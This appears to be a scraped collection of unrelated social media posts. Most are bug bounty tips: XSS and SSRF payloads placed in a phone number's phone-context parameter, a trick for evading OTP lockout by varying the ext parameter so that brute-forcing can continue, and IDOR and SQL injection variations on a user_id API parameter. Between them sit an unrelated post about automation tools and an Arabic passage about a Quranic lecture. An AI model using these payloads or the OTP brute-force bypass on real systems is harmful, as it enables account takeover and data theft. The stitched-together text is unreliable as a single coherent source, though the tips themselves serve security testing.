Bug Bounty Tips by @securinti
⛈ Attacks on the phone number input mechanism
Hello! Let's figure out How to find vulnerabilities in the Phone 📱 Number input form.
According to RFC 5341, the URI of a phone number can have parameters that are needed to transfer more accurate data.
Most often, parameters are accepted by mail services or web applications that do not have strict number validation.
⚡ Example: The phone-context parameter can be used to determine which country code(+7,+1) is being used. If you went to the site and determined your city, then when registering by entering your phone number, you can enter your number without the country code. it can be substituted in the parameter.
⚡ Attacks using parameters:
⚡ XSS
+88005553535;phone-context=<script>alert(1)</script>
// You should put in the query string the parameter in which the number is placed
⚡ SSRF
+88005553535;phone-context=burpcollab
// Rarely works, mostly on older systems
⚡ OTP Bypass Lock
+88005553535;ext=0
+88005553535;ext=2
+88005553535;ext=3
// If blocked, then we substitute ext with a number and continue to brute from the code from which we locked
📌 Refference
https://t.co/ZW7vhgjDEo
👀 Check Out Old Tweets Of @TodayCyberNews
#CyberSecurity #bugbountytips #BugBounty #infosec #Pentesting
You've been running nuclei + subfinder + httpx for weeks. Zero bugs.
Meanwhile someone tweets "automated my way to a $10k bounty" and it feels like they know something you don't.
They don't. Here's what's actually different 🧐
- هذا اللقاء رحلة سريعة داخل سورة النور في محاولة لاستكشاف النور الرباني الذي أنزله الله في هذه السورة ليخرج الناس من ظلمات الشهوات والأهواء إلى نور ربهم.
- رحلة مع بعض حكم الشريعة من الجمع بين الحدود التشريعية والوعظ، رحلة مع تفاصيل مجتمع النور ومجتمع الظلام الذي يغيب عنه النور
/api/user/profile?user_id=12345
Tweaks you can do on this endpoint: 🤔
➡️ user_id=12344
➡️ user_id=-1
➡️ user_id=123′ OR ‘1’=’1
➡️ user_id=12345&user_id=12344
➡️ {“user_id”:[“12345″,”12344”]}
What else will you try? 👇